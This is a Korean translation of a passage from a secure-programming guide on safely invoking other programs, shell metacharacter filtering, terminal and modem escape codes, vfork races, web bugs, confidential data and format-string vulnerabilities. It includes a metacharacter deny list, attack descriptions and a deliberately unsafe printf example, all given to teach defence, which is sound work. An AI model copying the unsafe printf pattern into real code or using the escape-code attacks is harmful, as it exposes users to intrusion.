때때로 보안과 추상화 (정보 숨기기, Information Hiding) 및 재사용의 개발 원리들간에는 모순이 존재한다. 문제는 어떤 고수준 라이브러리 루틴들이 보안적으로 구현될 수 있는 지 또는 아닌지로 이들의 스펙을 통해 알 수는 없을 것이다. 특정 구현이 보안적이라 할지라도 루틴의 다른 버전이 보안적인지 또는 동일한 인터페이스가 다른 플랫폼에서 보안적인 것인지를 보증하는 것은 불가능할 수도 있다.

결국 애플리케이션이 보안적이어야 한다면 때때로 각자의 라이브러리 루틴들을 재구현해야 한다. 기본적으로 라이브러리 루틴들이 보안에 요구되는 필요한 동작을 수행할 것이라고 확신할 수 없다면 루틴들을 재구현해야 한다. 더구나 어떤 경우 라이브러리의 구현은 수정되어야 하는데 보안에 취약한 라이브러리 루틴을 선택한다면 손해를 입을 수 있는 사람은 사용자들이다. 할 수 있다면 무엇인가를 재구현해야 할 때는 고수준 인터페이스를 사용하려고 노력해라 - 이렇게 함으로써 그 사용이 보안적인 시스템에서 고수준 인터페이스로 전환할 수 있다.

할 수 있다면 루틴이 보안적인지 또는 그렇지 않은 지를 보기위해 검사하고 보안적이라면 이를 사용해라 - 원칙적으로는 컴파일 또는 설치의 한 부분으로 이 검사를 수행할 수 있다 (예, "autoconf" 스크립트의 한부분으로). 어떤 조건에서는 이러한 종류의 런타임 검사가 비현실적이지만 다른 조건에서는 많은 문제들을 제거할 수 있다. 라이브러리를 재구현하지 않는다면 최소한 안전한지 확인하고 그렇지 않다면 설치를 중지해라. 이렇게 함으로써 사용자가 뜻하지 않게 비보안적인 프로그램을 설치하지 않을 것이며 문제가 무엇인지를 알 것이다.

7.2. 호출을 합당한 값으로 제한해라

반드시 모든 다른 프로그램에 대한 호출이 모든 매개변수에 대해 타당하고 예상한 값들만을 허용하게 해라. 이는 많은 라이브러리 호출들 또는 명령들이 잠재적으로 예기치 않은 방식으로 더욱 저수준 루틴들을 호출하기 때문에 생각과는 달리 더욱 어렵다. 예를 들어, popen(3) 과 system(3) 과 같은 몇몇 시스템 호출들은 명령 쉘을 호출함으로써 구현되는데 이는 쉘 메타문자들에 의해 영향을 받을 것임을 의미한다. 비슷하게 execlp(3) 과 execvp(3) 들때문에 쉘이 호출될 수도 있다. 많은 지침들은 프로세스를 생성시키려고 할 때는 popen(3), system(3), execlp(3) 과 execvp(3) 들을 전부 피하고 C 에서 execve(3) 을 직접적으로 사용하라고 제안하고 있다 [Galvin 1998b]. 적어도 execve(3) 을 사용할 수 있을 때는 system(3) 를 사용하는 것을 피해라; system(3) 은 문자들을 전개하기 위해 쉘을 사용하기 때문에 이는 더욱 많은 악영향을 끼칠 기회가 있다. 비슷한 방식으로 펄과 쉘의 backtick (`) 또한 명령쉘을 호출한다; 펄에 대한 더욱 자세한 정보는 9.2절 을 보라.

쉘 메타문자들은 이 문제들 중 가장 다루기 힘든 예들중의 하나로 표준 유닉스 계열 명령쉘 (/bin/sh 에 저장된) 은 많은 문자들을 특별히 해석한다. 이러한 문자들이 쉘로 보내지면 이들의 특별한 해석이 이스케이프되지 않는다면 사용될 것이다; 이 사실이 프로그램을 파괴하는데 사용될 수 있다. WWW 보안 FAQ [Stein 1999, Q37] 에 따르면 이러한 문자들은 다음과 같다:

& ; ` ' \ " | * ? ~ < > ^ ( ) [ ] { } $ \n \r

많은 상황에 있어 탭과 공백 문자들을 이스케이프하길 원할 것이라고 저자는 언급해야 하는데 왜냐하면 이들 (과 개행) 은 디폴트 매개변수 분리자들이기 때문이다. 분리자 값들은 IFS 환경 변수를 설정함으로써 변경될 수 있지만 이 변수의 출처를 믿을 수 없다면 이를 버리거나 어쨌든 환경 변수 처리의 일부분으로 재설정해야 한다.

불행히도 실제 이는 완전한 목록이 아니며 다음은 문제가 있을 수 있는 약간의 다른 문자들이다:

• '!' 는 C 에서와 같이 표현에서 "not" 을 의미한다; 프로그램의 반환값이 검사된다면 ! 를 앞에 붙이는 것은 스크립트를 속여서 무엇이 성공했을 때 이것이 실패했다라고 생각하게 할 수 있으며 반대의 경우도 마찬가지이다. 어떤 쉘에서는 "!" 는 또한 명령어 히스토리를 접근하며 이는 실제 문제를 일으킬 수 있다. bash 에서 이는 대화식 모드에서만 일어나지만 tcsh (어떤 리눅스 배포판에서 발견되는 csh 클론) 는 스크립트에서도 "!" 를 사용한다.

• '#' 는 주석 문자로 같은 라인에서 뒤에 오는 모든 텍스트는 무시된다.

• '-' 는 옵션의 첫머리에 있음으로써 잘못 해석될 수 있다 (또는 -- 와 같이 모든 뒤에 오는 옵션을 금지한다). 이것이 파일 이름의 중간에 있다 하더라도 쉘이 whitespace 로 고려하는 것 뒤에 온다면 문제가 발생될 수도 있다.

• ' ' (스페이스), '\t' (탭), '\n' (개행), '\r' (리턴), '\v' (수직스페이스), '\f' (폼 피드) 와 다른 whitespace 문자들은 ``하나의" 파일 이름을 다중 인수들로 바꿀 수도 있다.

• 다른 제어 문자들 (특히 NIL) 은 어떤 쉘 도구들에 대해 문제를 일으킬 수도 있다.

• 사용에 따라 "." ("현재 쉘에서 실행"의 의미) 과 "=" (변수 설정시 필요) 는 귀찮은 문자들일 수도 있다고 생각할 수도 있다. 그러나 저자가 지금까지 이들이 문제가 된 경우에 대해 발견한 모든 예는 다른 (더욱 안좋은) 보안 문제를 갖고 있다.

이러한 문자들중 한개라도 잊는다면 재난을 초래할 수도 있는데 예를 들어 많은 프로그램들은 백슬래쉬를 메타문자로서 생략한다 [rfp 1999]. 4장 에 논의되었듯이 누군가에 의해 추천되는 접근 방법은 적어도 이러한 문자들이 입력일 때 모든 문자를 즉각적으로 이스케이프하는 것이다. 그러나 더욱 최선의 접근 방법은 어떤 문자들을 허용하길 바라는지 식별하여 단지 이러한 문자들만 허용하도록 필터를 사용하는 것이다.

많은 프로그램들 특히 대화식으로 설계된 프로그램들은 ``특별한" 기능을 수행하는 "escape" 코드를 갖고 있다. 가장 보편적인 (또한 위험한) 이스케이프 코드중의 하나는 명령 행을 초래하는 것이다. 이러한 "escape" 명령들이 포함될 수 없도록 확인해라 (특정 명령이 안전하다고 확신하지 못한다면). 예를 들어, 많은 라인 지향 메일 프로그램 (mail 과 mailx 같은) 들은 틸드 (~) 를 이스케이프 문자로서 사용하는데 이 문자는 많은 명령을 보내기 위해 사용될 수 있다. 그 결과로 "mail admin < file-from-user" 와 같이 명백히 해롭지 않은 명령들이 임의의 프로그램들을 실행시키기 위해 사용될 수 있다. vi, emacs 와 ed 와 같은 대화식 프로그램들은 사용자들이 그들 세션으로부터 임의의 쉘 명령들을 실행시키도록 허용하는 "escape" 메카니즘을 갖고 있다. 이스케이프 메카니즘을 검색하기 위해서는 호출하는 프로그램들의 문서들을 늘 조사해라. 다른 프로그램에 의해 사용될 프로그램만을 호출하는 것이 최선이다; 7.3절 를 보라.

이스케이프 코드들을 피하는 문제는 더욱 저수준 하드웨어 컴포넌트들과 이들의 에뮬레이터들로 내려간다. 대부분의 모뎀들은 소위 "Hayes" 커맨드셋을 구현하는데 이 커맨드셋이 금지되지 않는다면 문구 ``+++" 인 지연 및 다른 지연을 야기해 모뎀에게 모든 다음의 텍스트를 모뎀에 대한 명령들로 해석하게끔 한다. 이는 서비스 부인 공격 (단절 명령어 ``ATH0" 를 설정함으로써) 또는 사용자에게 다른 누군가에 연결하도록 하는 것을 구현하는데 사용될 수 있다 (상급 공격자는 자신의 제어하에 있는 머신을 통해 사용자가 연결하도록 라우팅 설정을 다시 할 수 있다). 특정 모뎀의 경우 이에 대처하는 것은 쉽지만 (예, 모뎀 초기화 문자열에 ``ATS2-255" 를 추가한다) 아직도 일반적인 문제는 남아있다: 하위 수준 컴포턴트 또는 이의 에뮬레이션을 제어하고 있다면 반드시 커맨드셋을 금지하거나 그렇지 않은 경우 내장되어 있는 모든 이스케이프 코드를 다루어야 한다.

많은 "터미널" 인터페이스들은 VT-100 같은 예전의 오래전에 사라진 물리적 터미널의 이스케이프 코드들을 구현한다. 이러한 코드들은 유용할 수 있는데 예를 들어 문자를 굵게 하기, 폰트색 변경하기 또는 터미널 인터페이스내에서 특별한 위치로 이동하는데 유용할 수 있다. 그러나 임의의 신뢰되지 않은 데이타가 터미널 스크린으로 직접 보내지도록 허용하지 마라 왜냐하면 이러한 코드들의 일부가 심각한 문제를 일으킬 수 있기 때문이다. 어떤 시스템에서 키들을 다시 배치할 수 있다 (예, 따라서 사용자가 "엔터" 또는 function 키를 누를때 이는 실행시키길 원하는 명령을 보낸다). 어떤 시스템에서는 스크린을 지우고 victim 이 실행시켰으면 하는 일련의 명령들을 표시한 후 이들 명령셋을 다시 돌려보내 victim 에게 키스트로크를 기다리지 않고 공격자가 선택한 명령들을 실행시키게 하는 코드를 보낼 수도 있다. 이는 "페이지 모드 버퍼링" 을 사용해서 일반적으로 구현되는데 이러한 보안 문제가 왜 에뮬레이트된 tty (보통 /dev/ 내의 디바이스 파일들로 표현되는) 들이 이들의 소유자들에게만 쓰기가능하며 다른 누구에게도 허용되지 않는 이유이다 - 이들은 절대로 "other write", 허가권이 설정되어서는 안되며 단지 사용자만이 그룹의 멤버가 아니라면 (즉, "user-private group" 스킴이 아니라면) "group write" 허가권이 터미널에 대해 설정되지 않아야 한다 [Filipski 1986]. 모사된 터미널에서 사용자에게 데이타를 표시하려면 사용자에게 되보내지는 데이타의 모든 제어 문자 (32 미만의 값을 갖는 문자) 들은 안전하다고 확인되지 않는다면 아마도 필터링되어 제거될 필요가 있다. 나쁜 것은 더욱 악화되는데 탭과 개행 (과 아마도 carriage return) 이 안전하다고 식별할 수 있으며 나머지는 모두 제거한다. high 비트가 설정된 문자 (127 보다 큰 값) 들은 어떤 방식에서는 다루기가 더욱 어렵다; 어떤 예전 시스템들은 이들이 설정되지 않은 것처럼 이들을 다루지만 단순히 이들을 필터링하는 것은 많은 국제적 사용을 금지한다. 이런 경우 명확한 상황을 살펴볼 필요가 있다.

관련 문제는 NIL 문자 (문자 0) 가 예기치 않은 효과를 가질 수 있다는 것이다. 대부분의 C 와 C++ 함수들은 이 문자가 문자열의 끝을 표시한다고 가정하지만 다른 언어 (펄과 Ada95와 같은) 들에서는 문자열을 다루는 루틴들이 NIL 을 포함한 문자열들을 다룰 수 있다. 많은 라이브러리들과 커널 호출들이 C 관례를 사용하기 때문에 결과적으로 검사된 것이 실제 사용된 것은 아니다 [rfp 1999].

다른 프로그램을 호출하거나 파일을 참조할때는 늘 절대 경로 (예, /usr/bin/sort) 를 지정해라. 프로그램 호출의 경우 이는 PATH 값이 잘못 설정되어 있더라도 잘못된 명령을 호출할 때의 가능한 에러들을 제거할 것이다. 다른 파일 참조의 경우 이는 올바르지 않은 시작 디렉토리로부터 발생하는 문제들을 줄인다.

7.3. 프로그래머가 사용하도록 의도된 인터페이스만 호출해라

프로그램이 사용하도록 의도된 API (application programming interface) 만 호출해라. 보통 프로그램은 대화식 프로그램들을 포함하여 모든 다른 프로그램들을 호출할 수 있다. 그러나 인간이 호출하는 방식과 동일하게 대화식 프로그램을 호출하는 것은 보통 현명하지 않다. 문제는 프로그램의 human 인터페이스들이 의도적으로 기능성이 풍부하며 종종 완전히 제어하기 어렵다는 것이다. 7.2절 에 논의되었듯이 대화식 프로그램들은 대개 "escape" 코드들을 갖으며 이는 공격자가 해로운 기능들을 수행할 수 있도록 한다. 또한 대화식 프로그램들은 대개 "가장 그럴듯한 (most likely)" 디폴트들을 직감으로 알려고 한다; 이는 예상했던 디폴트가 아닐 수도 있으며 공격자기 이를 악용할 수 있는 방법을 발견할 수도 있다.

보통 직접적으로 호출하지 않아야 하는 프로그램들은 mail, mailx, ed, vi 와 emacs 등이 있다. 최소한 이들의 입력을 처음에 검사한 후 이들을 호출해라.

보통 프로그램의 기능성에 보다 안전한 접근을 제공하는 매개변수들 또는 프로그램이 사용하도록 의도된 여러 API 또는 애플리케이션이 있다; 대신 이들을 사용해라. 예를 들어 어떤 텍스트를 편집하기 위해 텍스트 에디터 (ed, vi 또는 emacs) 를 호출하는 대신 가능한 sed 를 사용해라.

7.4. 모슨 시스템 호출 반환을 검사해라

에러 상태를 반환할 수 있는 모든 시스템 호출은 그 에러 상태를 검사해야 한다. 한가지 이유는 거의 모든 시스템 호출들이 제한된 시스템 자원들을 필요로 하며 사용자들은 대개 다양한 방식으로 자원들에 영향을 미칠 수 있다는 것이다. Setuid/setgid 프로그램들은 setrlimit(3) 과 nice(2) 와 같은 호출들을 통해 그들에 대한 한도를 설정할 수 있다. 서버 프로그램들과 CGI 스크립트들의 외부 사용자들이 단순히 많은 수의 동시 요청을 함으로써 자원 고갈을 일으킬 수 있을지도 모른다. 에러가 훌륭히 다뤄질 수 없다면 앞에서 논의한 바와 같이 에러를 한 부분에 국한시켜 전체 시스템이 완전히 마비되는 것을 방지하고 수행을 계속할 수 있도록 해라.

7.5. vfork(2) 사용을 피해라

유닉스 계열 시스템에서 새로운 프로세스를 생성하는 이식성 있는 방법은 fork(2) 호출을 사용하는 것이다. BSD 는 최적화 기법으로 vfork(2) 라는 변형을 도입하였는데 vfork(2) 에서는 fork(2) 와는 달리 자식은 execve(2V) 또는 exit 호출이 일어날 때까지 부모의 제어 메모리와 쓰레드를 빌린다; 부모 프로세스는 일시 정지된 반면 자식은 그 자원들을 사용하고 있다. 예전 BSD 시스템에서 fork(2) 가 실제로 메모리가 복사되도록 할 수 있는 반면 vfork(2) 는 그렇지 않을 것이다라는 것이 근본적 이유였다. 리눅스는 전혀 이러한 문제가 없었다; 리눅스는 copy-on-write (write 하는 동안 복사) 의미 체계를 내부적으로 사용했기 때문에 페이지들이 변경되었을 때만 단지 이들을 복사한다 (실제로 복사되어야 하는 어떤 테이블이 있는데 대부분 상황에서 이들의 오버헤드가 큰편은 아니다). 그럼에도 불구하고 어떤 프로그램들은 vfork(2) 에 의존하기 때문에 최근 리눅스는 BSD vfork(2) 의미 체계를 구현하였다 (이전 vfork(2) 는 fork(2) 의 alias 였다).

vfork(2) 와 관련해서는 많은 문제가 있다. 이식성 관점에서 보았을 대 vfork(2) 와 관련된 문제는 프로세스가 그 부모를 간섭하지 않는 것이 특히 고수준 언어에서 실제로 매우 어렵다는 것이다. 간섭하지 않는다는 요건은 실제 생성된 머신 코드에 적용되며 많은 컴파일러들은 의도되지 않은 간섭을 일으키는 숨겨진 temporaries 와 다른 코드 구조들을 생성한다. 결과: vfork(2) 를 사용하는 프로그램들은 코드가 변경될 때 또는 컴파일러 버전이 변경될 때 더욱 실패하기 쉬울 것이다.

보안적인 프로그램의 경우 리눅스 (적어도 2.2.17 까지의 2.2 버전들) 는 vfork() 구현에 있어 경쟁 상태에 취약하기 때문에 리눅스 시스템에서는 더욱 나쁘다. 권한을 갖는 프로세스가 사용자 명령들을 실행시키기 위해 리눅스에서 vfork(2)/execve(2) 쌍을 사용한다면 자식 프로세스가 사용자의 UID 로 이미 작동하고 있지만 아직 execve(2) 로 들어가지 않는 동안 경쟁 상태가 존재한다. 사용자는 이 프로세스에 SIGSTOP 를 포함한 시그널들을 보낼 수 있을지도 모른다. vfork(2) 의 의미 체계때문에 권한을 갖는 부모 프로세스도 또한 블록당할 수 있다. 그 결과 권한이 없는 프로세스가 권한을 갖는 프로세스에게 정지하도록 시킬 수 있으며 권한을 갖는 프로세스의 서비스에 대해 서비스 부인 공격을 초래할 것이다. FreeBSD 와 OpenBSD 는 적어도 이런 경우를 명확하게 다루는 코드를 갖고 있으며 따라서 저자가 알기에 이러한 문제에 취약하지 않다. 리눅스에서 이 문제를 언급하고 "security-audit" 메일링 리스트에 2000년 9월에 문서화한 한 Solar Designer 에 감사한다.

vfork(2) 에 대한 최종 결과는 간단하다: 프로그램에서 vfork(2) 를 사용하지 마라. 이는 어렵지 않아야 한다; vfork(2) 의 기본적인 사용은 vfork 의 의미 체계를 필요로 하는 예전 프로그램을 지원하는 것이다.

7.6. 내장된 컨텐트를 검색할 때 웹버그에 대처해라

몇몇 데이타 포맷들은 데이타가 보일 때 자동적으로 검색되는 컨텐트에 참조를 내장할 수 있다 (사용자가 이를 선택하는 것을 기다리지 않는다). 이 데이타가 인터넷을 통해 검색되도록 할 수 있다면 (예, WWW 를 통해) 이 능력을 이용해서 readers 가 모르게 readers 에 대한 정보를 얻을 수 있으며 어떤 경우 reader 에게 동의없이 기능을 수행하도록 시킬 수 있다. 이러한 사생활과 관련된 문제를 때때로 "웹 버그 (web bug)" 라고 부른다.

웹 버그에서 참조는 의도적으로 문서에 삽입되며 문서가 어디에서 읽혀지며 얼마나 자주 읽혀지는 지를 추적하기 위해 컨텐트 저자에 의해 사용될 수 있다. 저자는 또한 버그가 있는 문서가 한 사람에서 다른 사람 또는 한 조직에서 다른 조직으로 어떻게 건네지는 지를 감시할 수 있다.

HTML 포맷은 얼마동안 이 문제를 갖고 있었다. Privacy Foundation 에 따르면:

웹 버그들은 추적을 위해 웹 페이지와 HTML 기반 이메일 메세지에서 인터넷 광고 회사들에 의해 오늘날 널리 사용되고 있다. 이들은 일반적으로 추적에 사용되고 있다는 사실을 감추기 위해 스크린상에서 볼 수 없도록 전형적으로 1 by 1 픽셀 크기이다. 그러나 img 태그를 사용한 이미지일 수도 있다; 웹 버그를 구현할 수 있는 다른 HTML 태그들은 예를 들면 frame, form 호출 및 script 들이다. 웹 버그를 호출하는 것은 ``bugging" 사이트에 reader IP 주소, 방문한 페이지 및 브라우저에 관한 다양한 정보를 제공할 것이다; 또한 쿠키를 사용함으로써 reader 의 명확한 신원을 결정할 수도 있다. 웹 버그에 관한 개론은 http://www.securityspace.com/s_survey/data/man.200102/webbug.html 에서 얻을 수 있다.

더욱 중요한 것은 다른 문서 포맷들도 또한 그러한 능력을 가지고 있는 듯하다는 것이다. 웹 브라우저로 웹사이트의 HTML 을 볼 때 데이타를 누가 보고 있는지에 대한 정보를 얻는 다른 방법이 있지만 이메일과 같이 다른 포맷의 문서를 보고 있을 때는 문서를 읽는다는 사실 자체가 모니터링 될 수 있다고 예상하는 사용자들은 아무도 없다. 그러나 많은 포맷들의 경우 문서를 읽는지 모니터링 될 수 있다. 예를 들어 마이크로소프트 워드가 웹 버그를 지원할 수 있다는 것이 최근에 결정되었다; 더욱 자세한 정보는 Privacy Foundation advisory 를 보라. 권고안에 언급되었듯이 마이크로소프트 엑셀과 파워포인트의 최근 버전들도 또한 이러한 웹 버그가 있을 수 있다. 어떤 경우 더욱 자세한 정보를 얻기 위해 쿠키가 사용될 수 있다.

웹 버그는 본질적으로 파일 포맷 설계와 관련된 문제이다.사용자가 프라이버시를 중요하게 여긴다면 아마도 포함된 파일의 자동적인 다운로딩을 제한하길 원할 것이다. 한가지 예외는 파일 자체가 다운도드 (웹 브라우저를 통해) 될 때 일 수도 있다; 동일 위치에서 동시에 다른 파일들을 다운로드하는 것은 사용자들을 불안하게 할 것 같지는 않다.

7.7. 기밀을 다루는 정보를 숨겨라

기밀을 다루는 정보는 입력과 출력중인 동안과 시스템에 저장될 때 모두 엿보는 사람들로부터 숨겨져야 한다. 기밀을 다루는 정보는 확실히 신용카드 넘버, 계좌 잔액과 집주소를 포함하며 많은 애플리케이션에서는 이름, 이메일 주소와 다른 개인 정보도 또한 포함한다.

웹기반 애플리케이션들은 기밀을 다루는 정보를 포함해서 사용자와의 모든 통신을 암호화해야 한다; 흔한 방법은 (SSL 또는 TLS 위에서 HTTP 가 작동하는) https: 프로토콜을 사용하는 것이다. HTTP 1.1 스펙 (IEFT RFC 2616 15.1.3 절) 에 따르면 HTTP 프로토콜을 사용하는 서비스 사용자들은 기밀을 다루는 데이타를 전송하기 위해 GET 기반 폼들을 사용하지 않아야 한다. 왜냐하면 이것이 데이타가 요청-URI 로 인코드되게 할 수 있기 때문이다. 많은 기존 서버들, 프락시와 사용자 에이전트들은 요청 URI 를 제삼자에게 보일 수 있을 지도 모르는 어떤 곳에 기록할 것이다. 대신 이 목적을 위해 의도된 POST 기반 전송을 사용해라.

이러한 기밀을 다루는 데이타의 데이타베이스들도 또한 디스크상의 파일들과 같은 모든 저장 디바이스에서 암호화되어야 한다. 이러한 암호화가 물론 보안적인 애플리케이션을 깨뜨리는 공격자에 대해서는 보호를 하지 못하며 이는 애플리케이션 또한 암호화된 데이타에 접근하는 방법을 가져야 하기 때문이다. 그러나 암호화는 데이타의 백업 디스크를 어떻게든 얻었지만 이들을 복호화하는데 필요한 키를 얻지못한 공격자들에 대해 상당한 보호를 제공한다. 공격자가 애플리케이션으로 어떻게든 침입하는 것이 아니라 저장된 데이타를 보기에 그저 충분할만큼 부분적으로 관련 시스템내로 침입한다면 암호화는 또한 상당한 보호 방법을 제공한다 - 공격자는 데이타를 얻기 위해 암호화 알고리듬을 깨뜨려야 한다. 데이타가 본의아니게 (예, 코어 파일) 전달될 수 있는 많은 상황이 있는데 암호화는 또한 이를 예방한다. 종종 서버 자체가 파괴되거나 깨뜨려질 수 있기 때문에 암호화가 생각하는 만큼 강력한 보호 방법은 아니라는 것은 언급할만한 가치가 있다.

8.1. 피드백을 최소화해라

신뢰되지 않은 사용자에게 많은 정보를 제공하지 마라; 간단히 성공 또는 실패로 표현하고 실패한 경우 단지 실패했다고 말하고 실패 원인에 대한 정보를 최소화해라. 감사시 단서가 될 수 있는 기록들을 위해 세부적인 정보를 저장해라. 예를 들면 다음과 같다:

• 프로그램이 일종의 사용자 인증을 필요로하면 (예, 네트워크 서비스 또는 로그인 프로그램을 작성하는 경우) 사용자들이 인증받기 전에는 가능한 적은 정보를 이들에게 제공해라. 특히 인증전에 프로그램의 버전 넘버를 드러내지 마라. 그렇지 않다면 이 버전의 프로그램이 공격에 취약하다고 알려진 경우 이 버전을 갱신하지 않은 사용자들은 공격자들에게 자신들은 공격에 취약하다고 광고하는 것이나 마찬가지이다.

• 프로그램이 패스워드가 필요하다면 이를 그대로 다시 나타나게 하지마라; 이는 패스워드가 드러날 수 있는 다른 방법을 만든다.

8.2. 주석을 포함하지 마라

정보를 반환할 때 반드시 이를 받는 사용자가 주석을 보기를 원하지 않는다면 어떠한 주석도 포함하지 마라. 이는 HTML 같은 파일들을 생성하는 웹 애플리케이션에 대해 특별한 문제이다. 대개 웹 애플리케이션 프로그래머들은 그들의 프로그램에 주석을 첨가하길 바라지만 (이는 훌륭한 작업이다) 단지 주석을 코드내에 두는 대신 사용자에게 반환되는 생성 파일 (보통 HTML 또는 XML) 의 한 부분으로 주석이 포함되게 하라. 문제는 이러한 주석들이 때때로 시스템이 공격을 돕는 방식으로 작동할 수 있는 방법에 대한 통찰력을 제공한다는 것이다.

8.3. 완전한/무반응의 출력을 다뤄라

사용자가 자신에게 되돌아오는 보안적인 프로그램의 출력 채널을 방해하거나 응답하지 않게 할 수 있다. 예를 들어, 웹 브라우저가 의도적으로 정지되거나 자신의 TCP/IP 채널 응답을 지연시킬 수 있는데 보안적인 프로그램은 이런 경우를 다뤄야 하며 특히 서비스 부인 공격의 기회를 만들지 않도록 로크를 빨리 해제 (되도록 응답전에) 해야한다. 늘 외부로 나가는 네트워크 지향 쓰기 요청에 대해 타임아웃을 설정해라.

8.4. 데이타 포맷팅을 제어해라 (문자열 포맷)

컴퓨터 언어에서 많은 출력 루틴들은 생성되는 포맷을 제어하는 매개변수를 갖고 있다. C 에서 가장 명백한 예는 printf(), sprintf(), fprintf() 등을 포함한 printf() 루틴 계열들로 다른 예는 시스템 로그 정보 작성 syslog() 와 프로세스 식별자 정보를 표시하는데 사용되는 문자열 설정 setproctitle() 이다. ``err" 또는 ``warn" 으로 시작하거나 ``log" 를 포함하거나 또는 "printf" 로 끝나는 이름을 갖는 많은 함수들은 고려할만한 가치가 있다. 파이썬에는 문자열에 대해 비슷한 방식으로 포맷팅을 제어하는 "%" 연산이 있다. 많은 프로그램들과 라이브러리들은 대개 내장 루틴 호출 및 추가적인 프로세싱 (예, glib 의 g_snprintf() 루틴) 을 함으로써 포맷팅 함수들을 정의한다.

뜻밖에도 많은 사람들은 이러한 포맷팅 능력의 중요성을 잊고 있으며 신뢰되지 않은 사용자들로부터의 데이타를 포맷팅 매개변수로 사용하고 있는 것 같다. 신뢰되지 않은 사용자로부터의 필터링되지 않은 데이타를 포맷 매개변수로 절대로 사용하지 마라. 아마도 이는 다음 예에서 가장 잘 볼 수 있다:

  /* 잘못된 방식: */
  printf(string_from_untrusted_user);
  /* 옳은 방식: */
  printf("%s", string_from_untrusted_user); /* 안전하다 */
  fputs(string_from_untrusted_user); /* 단순 문자열의 경우 더욱 좋다 */

그렇지 않으면 공격자는 포맷팅 문자열을 주의깊게 선택함으로써 모든 종류의 악영향을 일으킬 수 있는데 C 에서 printf() 의 경우가 좋은 예이다. printf() 에서 사용자 제어 포맷 문자열을 어떻게든 악용하는 많은 방법들이 있는데 이들로는 긴 포맷팅 문자열 생성에 의한 버퍼 오버런 (이는 공격자로 하여금 프로그램을 완전히 제어할 수 있게 한다), 전달되지 않은 매개변수를 사용하는 변환 선언 (예기치 않은 데이타를 삽입시킨다) 과 전혀 예상치 못한 결과값들을 산출하는 포맷 생성하기 (가령 위험한 데이타를 앞 또는 뒤에 덧붙임으로써 가능한데 추후 사용시 문제를 일으킨다) 들이 있다. 특히 난처한 경우는 printf 의 "%n" 변환 선언으로 이는 지금까지 작성된 문자들의 수를 포인터 인수내로 쓰는데 공격자는 이를 악용하여 인쇄할 값을 겹쳐쓸 수 있다. 공격자는 실제로 전달되지 않는 매개변수를 지정할 수 있기 때문에 거의 임의의 위치에 언제나 겹쳐쓸 수 있다. 많은 논문들은 이러한 공격들을 더욱 자세하게 논의하는데 예를 들어 Avoiding security holes when developing an application - Part 4: format strings를 보라.

많은 경우 결과들은 사용자에게 되돌려지기 때문에 이 공격은 스택에 대한 내부 정보를 드러내는데 사용될 수 있다. 이 정보는 추후 StackGuard 와 같은 스택 보호 시스템을 뚫는데 사용될 수 있다; StackGuard 는 공격을 탐지하기 위해 상수 ``canary" 값들을 사용하는데 스택의 내용들이 표시된다면 canary 의 현재 값이 노출되어 공격에 취약할 것이다.

포맷팅 문자열은 국제화에 대한 검색 (look) 을 구현하기 위한 함수 호출 (gettext's _() 를 통해) 을 될 수 있는 한 포함하여 거의 언제나 상수 문자열이여야 한다. 이 검색은 프로그램이 제어하는 값들로 한정되어야 함을 주목해라, 즉 사용자는 프로그램이 제어하는 메시지 파일들로부터만 선택할 수 있어야 한다. 사용자 데이타를 사용하기 전에 이를 필터링하는 것 ([A-Za-z0-9] 와 같은 포맷 문자열에 대해 합법적인 문자들을 열거하는 필터를 설계함으로써) 은 가능하지만 보통 상수 포맷 문자열 또는 fput() 을 대신 사용함으로써 문제를 단순히 예방하는 것이 일반적으로 더욱 좋다. 저자는 이를 "출력" 문제로 열거했지만 출력 루틴들이 파일에 저장하거나 또는 snprintf() 를 통해 그와 같은 내부 상태를 생성할 수도 있기 때문에 이는 출력전에 프로그램에 내부적으로 문제를 일으킬 수 있다.

보안 문제를 야기하는 입력 포맷팅 문제는 사용되고 있지 않은 가능성은 아닌데 이 약점을 이용해 악용한 예를 CERT Advisory CA 2000-13 에서 보라. 이러한 문제가 어떻게 악용될 수 있는 지에 대한 더욱 자세한 정보는 Bugtraq 의 2000년 6월 18일 판에 출판된 Pascal Bouchareine 의 "[Paper] Format bugs" 라는 이메일 기사를 보라. 2000년 12월 현재 gcc 컴파일러 개발 버전은 개발자가 이러한 문제들을 피할 수 있도록 비보안적인 포맷 문자열 사용에 대해 경고 메시지를 지원하고 있다.

물론 이 모두는 국제화 검색이 실제 보안적인지 아닌지에 대한 논점을 교묘히 피하는 것인데 각자의 국제화 검색 루틴들을 작성하려면 반드시 신뢰되지 않은 사용자는 단지 합법적인 로케일만 지정할 수 있으며 임의의 경로와 같은 것들을 지정할 수 없도록 해라.

분명히 각자는 국제화를 통해 생성된 문자열을 믿을 수 있는 문자열로 제한하길 원하는데 그렇지 않다면 공격자는 이 능력을 사용해 포맷 문자열에서의 약점, 특히 C/C++ 프로그램에서의 약점을 악용할 수 있다. 이는 Bugtraq 내의 쟁점이었는데 (2000년 6월 26 일 올려진 John Levon 의 Bugtraq 게시물을 보라) 더욱 자세한 정보를 위해서는 4.7.3절 에서 합법적인 언어 값들만을 사용자가 선택하도록 허용하는 것에 대한 논의를 보라.

실제로 프로그래밍 버그일지라도 다른 국가들은 다른 방식으로 숫자들을 표시한다고 언급하는 것은 가치가 있는데 특히 마침표 (.) 와 쉼표 (,) 모두 소수부로부터 정수를 분리하기 위해 사용되고 있다. 데이타를 저장 또는 적재하려면 반드시 사용 로케일이 데이타 처리를 간섭하지 않도록 할 필요가 있다. 그렇지 않다면 저장된 데이타와 검색된 데이타가 다른 분리자를 사용할 것이기 때문에 프랑스어 사용자와 영어 사용자가 데이타를 교환할 수 없을 수도 있다. 이것이 보안 문제로 사용되고 있는 지는 모르지만 상상할 수 있는 일이다.

8.5. 출력에서 문자 인코딩을 제어해라

일반적으로 보안적인 프로그램들은 그들의 모든 가정들에 클라이언트들을 동기화시킴을 보증해야 한다. 대개 웹 애플리케이션에 영향을 미치는 한가지 문제는 출력의 문자 인코딩 지정을 잊는다는 것이다. 이는 모든 데이타가 신뢰된 출처로부터 온다면 문제가 되지 않지만 데이타 중 일부가 신뢰되지 않은 출처로부터 온다면 보안적인 프로그램이 예상한 것과 다른 인코딩을 사용하는 신뢰되지 않은 출처로부터의 데이타가 실제 데이타내에 몰래 삽입될 수도 있다. 이는 cross-site malicious content 공격에 대해 보안 구멍을 만드는 것으로 더욱 자세한 정보는 4.9절 를 보라.

CERT's tech tip on malicious code mitigation 은 지정되지 않은 문자 인코딩 문제를 매우 잘 설명하는데 이는 다음과 같다:

